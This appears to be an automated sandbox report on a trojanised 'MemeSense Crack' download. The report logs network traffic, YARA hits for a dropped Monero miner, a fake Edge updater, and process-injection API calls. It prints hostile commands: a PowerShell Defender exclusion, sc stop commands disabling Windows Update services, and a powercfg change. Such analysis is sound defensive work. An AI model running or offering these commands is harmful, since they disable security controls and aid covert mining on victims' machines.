Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913

Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.33.206:443 -> 192.168.2.16:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.65.254:443 -> 192.168.2.16:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.65.254:443 -> 192.168.2.16:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.70.254:443 -> 192.168.2.16:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.70.254:443 -> 192.168.2.16:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:49988 version: TLS 1.2

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Program Files\Microsoft\Edge\updater.exe	Process information set: 01 00 00 00
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process information set: 01 00 00 00

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED	Matched rule: Detects coinmining malware Author: ditekSHen

Blob-based file download detected

Source: C:\Users\user\Downloads\meme crack.zip

File download: blob:https://download.oxy.st/3a7ca659-705f-4aa1-8b26-f6d47e520fe9

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\meme crack.zip (copy)

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A510C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,

34_2_00007FF724A510C0

Source: C:\Program Files\Microsoft\Edge\updater.exe

File created: C:\Program Files\Google\Libs\WR64.sys

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_url_fetcher_7140_371950465	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_url_fetcher_7140_1013947000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_url_fetcher_7140_781841184	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_url_fetcher_7140_781841184\neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_url_fetcher_7140_240228706	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_url_fetcher_7140_1501586300	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\a3b45ef6-7149-4f03-9f8a-622a2089db58
Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_url_fetcher_7140_371950465

Jump to behavior

Source: C:\Windows\System32\dialer.exe	Code function: 34_2_00007FF724A52328	34_2_00007FF724A52328
Source: C:\Windows\System32\dialer.exe	Code function: 34_2_00007FF724A514E4	34_2_00007FF724A514E4
Source: C:\Windows\System32\dialer.exe	Code function: 34_2_00007FF724A526E8	34_2_00007FF724A526E8
Source: C:\Windows\System32\dialer.exe	Code function: 34_2_00007FF724A51DB4	34_2_00007FF724A51DB4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BC8D29	35_2_00007FFEB8BC8D29
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BC018E	35_2_00007FFEB8BC018E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BC9DB9	35_2_00007FFEB8BC9DB9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BCBD5E	35_2_00007FFEB8BCBD5E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BC9AA5	35_2_00007FFEB8BC9AA5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BC03CF	35_2_00007FFEB8BC03CF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FFEB8BC3B48	35_2_00007FFEB8BC3B48
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FE2258	48_2_0000022C35FE2258
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FDBE3C	48_2_0000022C35FDBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FD2CDC	48_2_0000022C35FD2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FDBC30	48_2_0000022C35FDBC30
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FDFEF8	48_2_0000022C35FDFEF8

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe

Code function: String function: 00C1F264 appears 83 times

Source: jkiahanfoyhg.tmp.20.dr

Static PE information: Resource name: DLL type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Source: updater.exe.17.dr	Static PE information: Number of sections : 11 > 10
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: updater.exe.20.dr	Static PE information: Number of sections : 11 > 10

Source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: C:\Windows\Temp\jkiahanfoyhg.tmp, type: DROPPED	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: powershell.exe, 00000073.00000002.2377084436.0000020384640000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBP

Source: classification engine

Classification label: mal100.spyw.expl.evad.mine.win@163/287@161/58

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A52328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

34_2_00007FF724A52328

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A51AC4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

34_2_00007FF724A51AC4

Source: C:\Windows\System32\dialer.exe

34_2_00007FF724A52328

Source: C:\Users\user\AppData\Local\Temp\updater.exe

File created: C:\Program Files\Microsoft\Edge

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3364:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\dkmlztpnqbpodivh
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:524:120:WilError_03

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe

File created: C:\Users\user\AppData\Local\Temp\AC3BF.tmp

Jump to behavior

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\svchost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oxy.st/d/SmUh
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1956,i,7229369661318160334,7331768644363518668,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe "C:\Users\user\Desktop\meme crack\MemeSense Crack.exe"
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\cli_gui.exe "C:\Users\user\AppData\Local\Temp\cli_gui.exe"
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\updater.exe "C:\Users\user\AppData\Local\Temp\updater.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
